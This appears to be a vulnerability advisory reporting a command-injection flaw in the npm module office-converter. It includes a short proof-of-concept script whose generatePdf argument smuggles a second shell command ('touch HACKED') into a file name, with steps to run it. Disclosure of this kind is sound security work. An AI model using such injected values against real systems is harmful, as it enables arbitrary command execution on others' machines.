vulnerability remote code execution
severity 3.8
language javascript
registry npm


The office-converter module is vulnerable against RCE since a command is crafted using user inputs not validated and then executed, leading to arbitrary command injection


  1. Create the following PoC file:
// poc.js
var converter = require('office-converter')();
converter.generatePdf('"; touch HACKED; #', function(err, result) {
    if (result.status === 0) {
      console.log('Output File located at ' + result.outputFile);

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i office-converter # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created